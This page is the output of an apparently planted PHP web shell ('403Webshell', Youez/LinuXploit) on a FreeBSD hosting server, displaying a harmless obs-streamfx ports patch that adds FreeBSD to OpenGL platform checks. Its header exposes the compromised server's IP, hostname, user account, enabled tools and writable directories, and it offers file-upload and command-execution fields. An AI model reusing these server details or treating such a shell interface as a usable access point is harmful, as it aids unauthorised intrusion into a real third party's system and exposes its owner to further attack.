403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/multimedia/obs-streamfx/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/multimedia/obs-streamfx/files/patch-source_gfx_gfx-opengl.cpp
--- source/gfx/gfx-opengl.cpp.orig	2022-06-19 17:00:46 UTC
+++ source/gfx/gfx-opengl.cpp
@@ -28,7 +28,7 @@
 #ifdef D_PLATFORM_WINDOWS
 #include "glad/wgl.h"
 #endif
-#ifdef D_PLATFORM_LINUX
+#if defined(D_PLATFORM_LINUX) || defined(D_PLATFORM_FREEBSD)
 #include "glad/glx.h"
 #endif
 
@@ -67,7 +67,7 @@ streamfx::gfx::opengl::opengl()
 	// ToDo: Figure out the HDC for which we need to load.
 	//gladLoaderLoadWGL();
 #endif
-#ifdef D_PLATFORM_LINUX
+#if defined(D_PLATFORM_LINUX) || defined(D_PLATFORM_FREEBSD)
 	//gladLoaderLoadGLX();
 #endif // D_PLATFORM_LINUX
 	D_LOG_INFO("Version %d.%d initialized.", GLAD_VERSION_MAJOR(version), GLAD_VERSION_MINOR(version));
@@ -80,7 +80,7 @@ streamfx::gfx::opengl::~opengl()
 	// Does not appear to exist.
 	//gladLoaderUnloadWGL();
 #endif
-#ifdef D_PLATFORM_LINUX
+#if defined(D_PLATFORM_LINUX) || defined(D_PLATFORM_FREEBSD)
 	//gladLoaderUnloadGLX();
 #endif
 	D_LOG_INFO("Finalized.", "");

Youez - 2016 - github.com/yon3zu
LinuXploit